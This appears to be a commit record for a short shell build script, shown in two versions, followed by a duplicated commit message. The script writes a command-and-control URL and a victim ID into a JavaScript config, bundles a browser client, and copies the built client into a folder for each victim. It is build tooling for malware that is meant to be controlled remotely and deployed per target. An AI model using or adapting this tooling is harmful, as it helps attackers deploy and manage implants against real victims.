#!/bin/sh

BASEDIR=$(dirname "$0")

REALTIMEURL=$1
VICTIMID=$2

echo "module.exports = {
    COMMAND_CONTROL_URL: '${REALTIMEURL}',
    VICTIM_ID: '${VICTIMID}'
};"  > $BASEDIR/config.js

gulp browserify

#!/bin/sh

BASEDIR=$(dirname "$0")

REALTIMEURL=$1
VICTIMID=$2

echo "module.exports = {
    COMMAND_CONTROL_URL: '${REALTIMEURL}',
    VICTIM_ID: '${VICTIMID}'
};"  > $BASEDIR/config.js

if gulp browserify; then
    mkdir -p $BASEDIR/client_$VICTIMID
    cp -r $BASEDIR/test.html $BASEDIR/dist $BASEDIR/client_$VICTIMID
fi

Move compiled client to separate folder based on victim id
Move compiled client to separate folder based on victim id
